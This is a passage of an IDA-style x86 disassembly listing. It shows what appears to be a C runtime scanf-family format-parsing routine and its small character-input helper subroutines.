= dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C534, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C328 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C534, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C534, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C538, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C538 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C534, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C534, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8D8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C7B0 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C7A8 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C328 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C534 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C534, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C534, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C534, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C534, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C328 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C534, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== 